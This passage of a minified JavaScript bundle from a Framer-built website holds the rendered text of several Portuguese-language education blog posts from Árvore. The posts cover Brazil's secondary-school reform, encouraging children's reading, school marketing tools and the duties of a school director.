Educa\\xe7\\xe3o\"})}),\" (MEC). O indicado \\xe9 se antecipar e planejar o quanto antes a constru\\xe7\\xe3o do novo modelo, evitando preju\\xedzos ao processo formativo dos alunos. \"]}),/*#__PURE__*/e(\"p\",{children:\"Pensando nisso, preparamos este post para esclarecer quais s\\xe3o os principais desafios do Novo Ensino M\\xe9dio. Al\\xe9m de como se preparar para as mudan\\xe7as da melhor forma. Confira a seguir!\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Quais s\\xe3o os principais desafios do Novo Ensino M\\xe9dio para as escolas?\"})}),/*#__PURE__*/e(\"p\",{children:\"Aprovada em 2017, a reforma do Ensino M\\xe9dio foi homologada pelo MEC e, com isso, o \\xf3rg\\xe3o definiu o conjunto de unidades curriculares que passar\\xe3o a valer nas escolas a partir de 2022. A reformula\\xe7\\xe3o deve ser implementada em todo o pa\\xeds, de forma a contribuir com a constru\\xe7\\xe3o de itiner\\xe1rios formativos mais significativos para os estudantes\"}),/*#__PURE__*/e(\"p\",{children:\".A proposta do novo curr\\xedculo ocorreu devido \\xe0s novas demandas do mercado de trabalho e tamb\\xe9m dos interesses dos alunos. Se antes a grade curricular se mostrava engessada e sem op\\xe7\\xf5es, com a mudan\\xe7a, existe a possibilidade de criar diversos ambientes de aprendizagem, permitindo que os estudantes escolham disciplinas mais condizentes com seus interesses pessoais.\"}),/*#__PURE__*/a(\"p\",{children:[\"O objetivo \\xe9 oferecer mais \",/*#__PURE__*/e(o,{href:\"https://blog.elevaplataforma.com.br/protagonismo-do-aluno-novo-ensino-medio/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"protagonismo aos jovens\"})}),\" e garantir o exerc\\xedcio dos direitos do processo de ensino. Por conta da relev\\xe2ncia do assunto, \\xe9 imprescind\\xedvel que os agentes escolares, como diretores, coordenadores e professores, atualizem-se quanto \\xe0 transforma\\xe7\\xe3o do Ensino M\\xe9dio para que as escolas atuem conforme as \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/novo-ensino-medio-bncc/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"novas diretrizes da BNCC\"})}),\".\"]}),/*#__PURE__*/e(\"img\",{alt:\"__wf_reserved_inherit\",className:\"framer-image\",src:\"https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp\",srcSet:\"https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp?scale-down-to=512 512w,https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp 1125w\"}),/*#__PURE__*/e(\"p\",{children:\"A seguir, confira quais s\\xe3o as principais mudan\\xe7as e desafios que a reforma do Ensino M\\xe9dio promover\\xe1 nas institui\\xe7\\xf5es escolares:\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Proposta do novo curr\\xedculo\"})}),/*#__PURE__*/e(\"p\",{children:\"A BNCC acabou definindo um novo curr\\xedculo para o Ensino M\\xe9dio, em que os alunos ter\\xe3o apenas os componentes de Matem\\xe1tica, L\\xedngua Portuguesa e L\\xedngua Inglesa como obrigat\\xf3rios. No entanto, essas disciplinas podem ser feitas em qualquer um dos tr\\xeas anos, ou mesmo em todos eles, a depender de cada escola e sistema de ensino.\"}),/*#__PURE__*/a(\"p\",{children:[\"Por\\xe9m, isso n\\xe3o significa que as outras mat\\xe9rias desaparecer\\xe3o do curr\\xedculo. Os estudantes devem continuar desenvolvendo as compet\\xeancias e habilidades de todas as \\xe1reas do conhecimento presentes na BNCC, como Ci\\xeancias da Natureza e suas Tecnologias, e Ci\\xeancias Humanas e Sociais Aplicadas. A nova configura\\xe7\\xe3o de disciplinas permitir\\xe1 maior \",/*#__PURE__*/e(o,{href:\"https://blog.elevaplataforma.com.br/flexibilizacao-curricular/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"flexibiliza\\xe7\\xe3o curricular\"})}),\" e incentivar\\xe1 o desenvolvimento de pr\\xe1ticas inter e multidisciplinares.\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Mudan\\xe7a de conte\\xfado\"})}),/*#__PURE__*/a(\"p\",{children:[\"Al\\xe9m disso, tamb\\xe9m est\\xe1 prevista uma mudan\\xe7a de conte\\xfado, em que as institui\\xe7\\xf5es escolares devem passar a ofertar\",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/novo-ensino-medio-escolha-de-carreira/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\" itiner\\xe1rios formativos\"})}),\" que aprofundem as pr\\xe1ticas das \\xe1reas de conhecimento. Cada escola ter\\xe1 autonomia para definir quais itiner\\xe1rios ser\\xe3o ofertados a cada ano letivo do Ensino M\\xe9dio.\"]}),/*#__PURE__*/a(\"p\",{children:[\"Com a defini\\xe7\\xe3o, os estudantes dever\\xe3o escolher ao menos uma op\\xe7\\xe3o de itiner\\xe1rio formativo com que se identificam para aprofundar seus conhecimentos te\\xf3ricos e pr\\xe1ticos. Com isso, o objetivo \\xe9 fortalecer o protagonismo estudantil e ampliar a\\xe7\\xf5es voltadas \\xe0 constru\\xe7\\xe3o do \",/*#__PURE__*/e(o,{href:\"https://blog.elevaplataforma.com.br/novo-ensino-medio-projetos/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"projeto de vida\"})}),\" de cada aluno. Isso contribuir\\xe1 para o aperfei\\xe7oamento da prepara\\xe7\\xe3o para o ensino superior, da \",/*#__PURE__*/e(o,{href:\"https://www.estudoemdia.com.br/tipos-de-graduacao-o-que-voce-precisa-saber-sobre-eles/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"escolha da gradua\\xe7\\xe3o\"})}),\" e dos melhores caminhos no mercado de trabalho.\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Infraestrutura da escola\"})}),/*#__PURE__*/a(\"p\",{children:[\"Para que a reforma do Ensino M\\xe9dio ocorra de acordo com as diretrizes da BNCC, as escolas devem \",/*#__PURE__*/e(o,{href:\"https://guiadofuturo.com.br/o-investimento-em-tecnologia-na-escola-como-beneficios-ao-aprendizado/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"investir em tecnologia\"})}),\" para oferecer uma infraestrutura condizente com as transforma\\xe7\\xf5es do sistema de ensino. Isso inclui tanto o treinamento de professores quanto a oferta de espa\\xe7os e ambientes dentro da institui\\xe7\\xe3o escolar que consigam promover a execu\\xe7\\xe3o das etapas em cada ano letivo.\"]}),/*#__PURE__*/e(\"p\",{children:\"A necessidade de laborat\\xf3rios, materiais pedag\\xf3gicos e forma\\xe7\\xe3o de docentes, por exemplo, s\\xe3o desafios que diretores dever\\xe3o enfrentar para se adequar \\xe0 reformula\\xe7\\xe3o. Nesse sentido, ser\\xe1 preciso realizar um diagn\\xf3stico sobre o uso dos recursos humanos e financeiros das secretarias para redimensionar os custos e, assim, promover uma aprendizagem de qualidade.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Aumento da jornada escolar\"})}),/*#__PURE__*/e(\"p\",{children:\"Outra mudan\\xe7a significativa foi em rela\\xe7\\xe3o \\xe0 amplia\\xe7\\xe3o da carga hor\\xe1ria. Atualmente, a jornada m\\xednima anual \\xe9 de 800 horas. Com a reforma, as escolas dever\\xe3o ofertar no m\\xednimo 1.000 horas por ano, totalizando 3.000 horas em todo o per\\xedodo do Ensino M\\xe9dio. Desse total, os alunos ter\\xe3o a liberdade de escolher 1.200 horas para se aprofundar em um ou mais itiner\\xe1rios formativos das \\xe1reas do conhecimento dispon\\xedveis. Portanto, o aumento da jornada escolar deve ocorrer de maneira progressiva. No fim, a ideia \\xe9 que as escolas passem a oferecer o ensino em tempo integral.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Forma\\xe7\\xe3o t\\xe9cnica e profissional\"})}),/*#__PURE__*/e(\"p\",{children:\"Outra novidade \\xe9 em rela\\xe7\\xe3o \\xe0 forma\\xe7\\xe3o t\\xe9cnica e profissional dentro da carga hor\\xe1ria do Ensino M\\xe9dio regular. Nesse caso, os estudantes devem escolher por trajetos que tenham a ver com seus anseios e aptid\\xf5es. Assim, ao final dos tr\\xeas anos, as escolas devem certificar os alunos em cursos t\\xe9cnicos ou em cursos profissionalizantes.\"}),/*#__PURE__*/e(\"p\",{children:\"Para isso, \\xe9 imprescind\\xedvel que as institui\\xe7\\xf5es escolares criem debates com os alunos para que analisem seus interesses e tenham uma melhor orienta\\xe7\\xe3o nesse momento. O mais indicado \\xe9 que diretores e coordenadores ofere\\xe7am condi\\xe7\\xf5es para que os estudantes desenvolvam um projeto de vida de maneira respons\\xe1vel e consciente. Diante das mudan\\xe7as do Ensino M\\xe9dio, os agentes escolares devem se esfor\\xe7ar para se aprofundar no assunto. Dessa maneira, ser\\xe1 poss\\xedvel se adequar o quanto antes e ofertar um processo de ensino e aprendizagem condizente com as novas diretrizes do MEC.\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, ficar\\xe1 mais simples superar os desafios do Novo Ensino M\\xe9dio e suas transforma\\xe7\\xf5es. O caminho at\\xe9 alcan\\xe7ar as metas e objetivos \\xe9 longo e cheio de obst\\xe1culos. Por isso, \\xe9 essencial se preparar e atuar com anteced\\xeancia para oferecer o sistema educativo previsto pela BNCC. \"}),/*#__PURE__*/e(\"p\",{children:\"\u200D\"}),/*#__PURE__*/a(\"p\",{children:[\"Gostou do conte\\xfado? Aproveite a visita e baixe agora mesmo o nosso e-book com um infogr\\xe1fico para entender o que muda com a reforma do Novo Ensino M\\xe9dio!\",/*#__PURE__*/e(\"em\",{children:\"\u200D\"})]}),/*#__PURE__*/e(\"p\",{children:\"\u200D\"}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"em\",{children:\"*Este post foi escrito pelo blog da Plataforma Eleva, em parceria com a \\xc1rvore.\"})})]});export const richText16=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Ler \\xe9 uma importante ferramenta de aprendizado. Como professor, com certeza voc\\xea possui ci\\xeancia disso. Por\\xe9m, parece que, nos \\xfaltimos anos, as crian\\xe7as v\\xeam deixando o h\\xe1bito da leitura de livros de lado. Seja por jogos, pelo celular ou outros meios, eles v\\xeam buscado mais informa\\xe7\\xf5es nas redes. Nesses momentos, muitos se perguntam: como incentivar a leitura infantil?Por isso, aqui v\\xe3o algumas dicas para voc\\xea, professor ou professora, que quer entusiasmar seus alunos \\xe0 pr\\xe1tica de ler. Continue conosco e saiba mais!\"}),/*#__PURE__*/e(\"h2\",{children:\"Mostre a leitura como divers\\xe3o\"}),/*#__PURE__*/a(\"p\",{children:[\"Se at\\xe9 os adultos fogem de coisas chatas, imagine as crian\\xe7as! Principalmente para os pequenos, devemos mostrar os lados divertidos das tarefas e rotinas, para que eles se interessem. Com a leitura n\\xe3o \\xe9 diferente.Vale apostar em \",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/importancia-da-ilustracao-no-livro-infantil-e-o-papel-do-ilustrador/?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"livros ilustrados\"})}),\", que venham com personagens destacados, brincadeiras p\\xf3s-leitura inspiradas na hist\\xf3ria e muito mais. A\\xe7\\xf5es como essas despertar\\xe3o a curiosidade deles, que podem passar a procurar hist\\xf3rias sozinhos, caminhando para tornarem-se \",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/como-criar-leitores-independentes/?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"leitores independentes\"})}),\".\"]}),/*#__PURE__*/e(\"h2\",{children:\"Busque variedade para o acervo da escola\"}),/*#__PURE__*/a(\"p\",{children:[\"Para criar um \",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/como-despertar-nas-criancas-o-habito-de-leitura/?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"interesse na leitura\"})}),\" ainda maior, \\xe9 necess\\xe1rio que voc\\xea se empenhe em mostrar como o mundo liter\\xe1rio \\xe9 vasto: HQ\u2019s, romances, dramas, sci-fi, entre outros. Existem livros de todos os tipos, para todas as idades. Traga leituras novas para os seus alunos, tentando seguir um pouco o gosto deles \u2014 mas tamb\\xe9m buscando faz\\xea-los se interessar por coisas novas.\"]}),/*#__PURE__*/e(\"h2\",{children:\"Visite bibliotecas com os alunos\"}),/*#__PURE__*/a(\"p\",{children:[\"Para que eles possam descobrir livros novos por si mesmos, \\xe9 interessante lev\\xe1-los a passeios por diferentes bibliotecas, tanto no ambiente escolar quanto fora dele. Atue como um guia e mostre op\\xe7\\xf5es de livros para que elas possam ler. Ver as principais escolhas dos pequenos pode te ajudar a ter uma no\\xe7\\xe3o do que gostam e fazer uma \",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/importancia-da-avaliacao-qualitativa-no-cotidiano-escolar/?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"an\\xe1lise qualitativa\"})}),\" desse interesse.\"]}),/*#__PURE__*/e(\"h2\",{children:\"Respeite a faixa et\\xe1ria das crian\\xe7as\"}),/*#__PURE__*/a(\"p\",{children:[\"Claro que n\\xe3o se pode dar um livro do Machado de Assis para uma crian\\xe7a de 5 anos ler \u2014 com exce\\xe7\\xf5es. Por isso, respeite a idade dos seus alunos e pense bem em quais livros usar em sala e quais indicar.Respeite o tempo e estilo de cada aluno, mas tamb\\xe9m tente, aos poucos, tir\\xe1-los da zona de conforto, para que eles possam se interessar por novas leituras e expandir seus horizontes e op\\xe7\\xf5es. \\xc9 importante ensinar coisas como a \",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/6-dicas-para-ajudar-o-aluno-a-concentrar-na-leitura/?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"concentra\\xe7\\xe3o na leitura\"})}),\", al\\xe9m de instigar o pensamento cr\\xedtico: em qualquer idade \\xe9 poss\\xedvel fazer isso.\"]}),/*#__PURE__*/e(\"h2\",{children:\"Use a tecnologia ao seu favor\"}),/*#__PURE__*/a(\"p\",{children:[\"Contr\\xe1rio ao que muitos pensam, a tecnologia pode contribuir \u2014 e muito \u2014 para o h\\xe1bito de leitura. Ao se saber melhor \",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/como-despertar-nas-criancas-o-habito-de-leitura/?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"como utilizar a tecnologia em sala de aula\"})}),\", o maior medo que os professores sentem ao usar eletr\\xf4nicos, some.E que medo \\xe9 esse? Distra\\xe7\\xe3o. Saiba que, ao serem utilizadas da maneira correta, as tecnologias podem tornar a leitura at\\xe9 mais eficiente! Seja para se encontrar novos livros, para encontrar os que n\\xe3o se acham facilmente no formato impresso, ou para pesquisas e leitura de e-books. N\\xe3o tenha medo de us\\xe1-la ao seu favor!Gostou do nosso conte\\xfado sobre como incentivar a leitura infantil? Ent\\xe3o compartilhe nas suas redes sociais, para que mais pessoas possam ajudar a criar novos leitores!\"]})]});export const richText17=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"A sua institui\\xe7\\xe3o de ensino j\\xe1 adota ferramentas de marketing escolar para potencializar seus resultados? Devido \\xe0 crise financeira que o pa\\xeds enfrenta e \\xe0 grande migra\\xe7\\xe3o de alunos para o ensino p\\xfablico, muitas escolas particulares t\\xeam apostado nesses recursos para aperfei\\xe7oarem suas a\\xe7\\xf5es e n\\xe3o perderem seu espa\\xe7o no mercado.\"}),/*#__PURE__*/e(\"p\",{children:\"Marketing digital, marketing de conte\\xfado e marketing de relacionamento s\\xe3o exemplos de estrat\\xe9gias importantes adotadas por diversas institui\\xe7\\xf5es de ensino. Por meio delas \\xe9 poss\\xedvel expandir o alcance da escola, atrair e fidelizar alunos, interagir com estudantes, pais e professores, al\\xe9m de estreitar o relacionamento com eles.\"}),/*#__PURE__*/e(\"p\",{children:\"Caso voc\\xea ainda n\\xe3o tenha certeza da necessidade de adotar uma ferramenta de marketing escolar, confira agora cinco benef\\xedcios desse recurso tecnol\\xf3gico.\"}),/*#__PURE__*/e(\"h2\",{children:\"1. Tomada de decis\\xf5es baseada em evid\\xeancias\"}),/*#__PURE__*/a(\"p\",{children:[\"Ferramentas de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/marketing-educacional-saiba-como-atrair-mais-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"marketing educacional\"})}),\" entregam informa\\xe7\\xf5es inteligentes e concretas, conferindo mais seguran\\xe7a para a tomada de decis\\xf5es e possibilitando tamb\\xe9m a evolu\\xe7\\xe3o pedag\\xf3gica e estrat\\xe9gica da escola.\"]}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m da entrega de informa\\xe7\\xf5es confi\\xe1veis e atuais \u2014 sejam elas p\\xfablicas ou mantidas no banco de dados da pr\\xf3pria institui\\xe7\\xe3o \u2014, com essas ferramentas a escola ter\\xe1 amplo acesso a uma s\\xe9rie de indicadores para mensurar dados importantes para tomar as medidas necess\\xe1rias em diferentes situa\\xe7\\xf5es.\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 poss\\xedvel, por exemplo, determinar quantos alunos foram perdidos para determinada institui\\xe7\\xe3o, fazer an\\xe1lises criteriosas de retorno sobre o investimento (ROI) etc.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/umi8q1jxGG3GxkCfZ02xy05K7Y.webp\",srcSet:\"https://framerusercontent.com/images/umi8q1jxGG3GxkCfZ02xy05K7Y.webp?scale-down-to=512 512w,https://framerusercontent.com/images/umi8q1jxGG3GxkCfZ02xy05K7Y.webp 600w\"}),/*#__PURE__*/e(\"h2\",{children:\"2. Melhor aproveitamento do tempo e recursos\"}),/*#__PURE__*/e(\"p\",{children:\"A economia de tempo \\xe9 outra vantagem que as ferramentas de marketing escolar proporcionam. Com a automa\\xe7\\xe3o de algumas atividades manuais da rotina, ocorre uma acelera\\xe7\\xe3o de todo o processo e poupa-se trabalho desnecess\\xe1rio, investimento financeiro e empenho da equipe.\"}),/*#__PURE__*/e(\"p\",{children:\"Dessa forma, a institui\\xe7\\xe3o de ensino pode redirecionar esses recursos \u2014 financeiro e m\\xe3o de obra \u2014 para a implementa\\xe7\\xe3o de a\\xe7\\xf5es mais importantes, como a capta\\xe7\\xe3o e a reten\\xe7\\xe3o de alunos.\"}),/*#__PURE__*/e(\"h2\",{children:\"3. Redu\\xe7\\xe3o de custos\"}),/*#__PURE__*/a(\"p\",{children:[\"Otimizar custos e reduzir gastos s\\xe3o consequ\\xeancias naturais ao adotar \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/qual-a-importancia-da-tecnologia-na-educacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"recursos tecnol\\xf3gicos na educa\\xe7\\xe3o\"})}),\", devido aos insights precisos que s\\xe3o oferecidos. Ou seja, o planejamento baseado em evid\\xeancias favorece investimentos certeiros e, por conseguinte, melhores rendimentos.\"]}),/*#__PURE__*/e(\"p\",{children:\"Resumidamente, isso acontece porque a escola n\\xe3o trabalhar\\xe1 mais com especula\\xe7\\xf5es, mas com dados reais. Ent\\xe3o, ela poder\\xe1, por exemplo, promover an\\xfancios publicit\\xe1rios em bairros onde residem alunos dentro do perfil que deseja alcan\\xe7ar, reduzindo as chances de alocar essas campanhas em regi\\xf5es onde n\\xe3o h\\xe1 muitas pessoas em idade escolar.\"}),/*#__PURE__*/e(\"h2\",{children:\"4. Fortalecimento do relacionamento com os alunos\"}),/*#__PURE__*/e(\"p\",{children:\"Desenvolver um relacionamento positivo com os estudantes deveria ser sempre um dos objetivos de todas as institui\\xe7\\xf5es de ensino particulares, dado que, geralmente, o aluno tende a optar por estudar em uma escola com a qual se identifique e onde se sinta acolhido.\"}),/*#__PURE__*/e(\"p\",{children:\"Com ferramentas de marketing, no entanto, \\xe9 poss\\xedvel conhecer intimamente o perfil desse aluno para que sejam adotadas estrat\\xe9gias no intuito de fideliz\\xe1-lo e motiv\\xe1-lo a ficar na institui\\xe7\\xe3o, bem como fazer com que esse estudante possa indicar a escola para outras pessoas.\"}),/*#__PURE__*/e(\"h2\",{children:\"5. Maximiza\\xe7\\xe3o dos resultados da escola\"}),/*#__PURE__*/a(\"p\",{children:[\"Ao conhecer bem o seu p\\xfablico-alvo, as chances de acertar na concep\\xe7\\xe3o de a\\xe7\\xf5es para a capta\\xe7\\xe3o de novos alunos s\\xe3o maiores e melhores. Isto \\xe9, por meio de ferramentas de marketing, a escola passa a ter uma \",/*#__PURE__*/e(o,{href:\"/solucoes\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"vis\\xe3o mais completa do seu potencial,\"})}),\" o que lhe permite melhorar continuamente e maximizar os seus resultados.\"]}),/*#__PURE__*/e(\"p\",{children:\"Enfim, ferramentas de marketing s\\xe3o alternativas perfeitas para garantir o sucesso da sua institui\\xe7\\xe3o de ensino em tempos dif\\xedceis. Elas n\\xe3o s\\xf3 ajudar\\xe3o a conquistar novos alunos como tamb\\xe9m manter\\xe3o os que j\\xe1 est\\xe3o matriculados e dar\\xe3o condi\\xe7\\xf5es para que a sua escola sempre tome as decis\\xf5es certas.\"}),/*#__PURE__*/e(\"p\",{children:\"\u200D\"}),/*#__PURE__*/a(\"p\",{children:[\"Aproveite e \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/materiais/guia-rematricula?utm_source=blog_arvore&utm_medium=referral&utm_content=blog_guia_rematricula&utm_campaign=blog_arvore2022\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"baixe gratuitamente nosso Guia de Rematr\\xedcula Escolar!\"})})]})]});export const richText18=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:\"Descubra a miss\\xe3o do diretor escolar e suas fun\\xe7\\xf5es\"}),/*#__PURE__*/e(\"p\",{children:\"Quais s\\xe3o as \\xe1reas de atua\\xe7\\xe3o de um diretor escolar? No post de hoje, listamos as principais atribui\\xe7\\xf5es desse profissional. Confira!\"}),/*#__PURE__*/e(\"h3\",{children:\"Quem \\xe9 o diretor escolar?\"}),/*#__PURE__*/a(\"p\",{children:[\"O documento \u201C\",/*#__PURE__*/e(o,{href:\"http://portal.mec.gov.br/index.php?option=com_docman&view=download&alias=170531-texto-referencia-matriz-nacional-comum-de-competencias-do-diretor-escolar&category_slug=fevereiro-2021-pdf&Itemid=30192\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Matriz Nacional Comum de Compet\\xeancias do Diretor Escolar\"})}),\"\u201D, do Minist\\xe9rio da Educa\\xe7\\xe3o, afirma:\"]}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"em\",{children:'\"A condu\\xe7\\xe3o da escola (...) cabe ao diretor, o qual, entre muitas outras, tem as atribui\\xe7\\xf5es de coordenar a elabora\\xe7\\xe3o e execu\\xe7\\xe3o da proposta pedag\\xf3gica, garantir o cumprimento do plano de trabalho de cada docente, articular a escola com as fam\\xedlias e a comunidade, conduzindo-a a estabelecer a\\xe7\\xf5es destinadas \\xe0 promo\\xe7\\xe3o da cultura de paz, tornando-a um ambiente seguro e pedagogicamente rico.\"'})}),/*#__PURE__*/e(\"p\",{children:\"O diretor escolar \\xe9, por assim dizer, aquele que organiza, acompanha e avalia o trabalho da escola. Atrav\\xe9s dos mecanismos pedag\\xf3gicos, pol\\xedticos e administrativos, o diretor fomenta o cumprimento das intencionalidades da escola e a qualidade dos processos e fluxos internos.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Ser diretor escolar n\\xe3o \\xe9 um trabalho f\\xe1cil. A quantidade de demandas e atividades di\\xe1rias exige que esses profissionais fa\\xe7am escolhas entre o que \\xe9 fundamental e o que \\xe9 emergencial no trabalho cotidiano.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp\",srcSet:\"https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp?scale-down-to=512 512w,https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp 1200w\"}),/*#__PURE__*/e(\"h3\",{children:\"As principais fun\\xe7\\xf5es de um diretor escolar\"}),/*#__PURE__*/e(\"p\",{children:\"O papel do diretor escolar abrange v\\xe1rias dimens\\xf5es. Gestor, no texto de hoje, listamos algumas das principais responsabilidades do diretor em seu dia a dia de trabalho. Veja a seguir.\"}),/*#__PURE__*/e(\"ol\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Vis\\xe3o estrat\\xe9gica\"})})})}),/*#__PURE__*/e(\"p\",{children:\"O diretor escolar \\xe9 o respons\\xe1vel por estabelecer metas bem definidas, delegar fun\\xe7\\xf5es e promover o alinhamento de todos os envolvidos. Ele \\xe9 quem possui uma vis\\xe3o macro de todos os fluxos e processos.\"}),/*#__PURE__*/a(\"p\",{children:[\"Um diretor que det\\xe9m uma vis\\xe3o estrat\\xe9gica \\xe9 aquele que garante que as metas e as a\\xe7\\xf5es desenvolvidas estejam alinhadas com os valores fundamentais da institui\\xe7\\xe3o, como a miss\\xe3o da escola e o seu \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/projeto-politico-pedagogico\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"plano pol\\xedtico pedag\\xf3gico\"})}),\".\"]}),/*#__PURE__*/e(\"ol\",{start:\"2\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Engajamento da comunidade escolar\"})})})}),/*#__PURE__*/a(\"p\",{children:[\"Um espa\\xe7o escolar plural \\xe9 aquele em que as vozes das fam\\xedlias, professores e estudantes s\\xe3o sempre acolhidas. Ao implementar uma \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gestao-democratica-na-escola\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"gest\\xe3o democr\\xe1tica\"})}),\", o diretor fomenta o engajamento de toda a comunidade escolar.\"]}),/*#__PURE__*/e(\"p\",{children:\"O diretor \\xe9 quem viabiliza comit\\xeas e grupos de debate que incluam representantes de todas as partes interessadas. Afinal, os momentos de di\\xe1logo com a comunidade escolar s\\xe3o fundamentais para a tomada de decis\\xf5es assertivas sobre as pol\\xedticas e a\\xe7\\xf5es da escola.\"}),/*#__PURE__*/e(\"ol\",{start:\"3\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Zelar pela seguran\\xe7a escolar\"})})})}),/*#__PURE__*/a(\"p\",{children:[\"Um 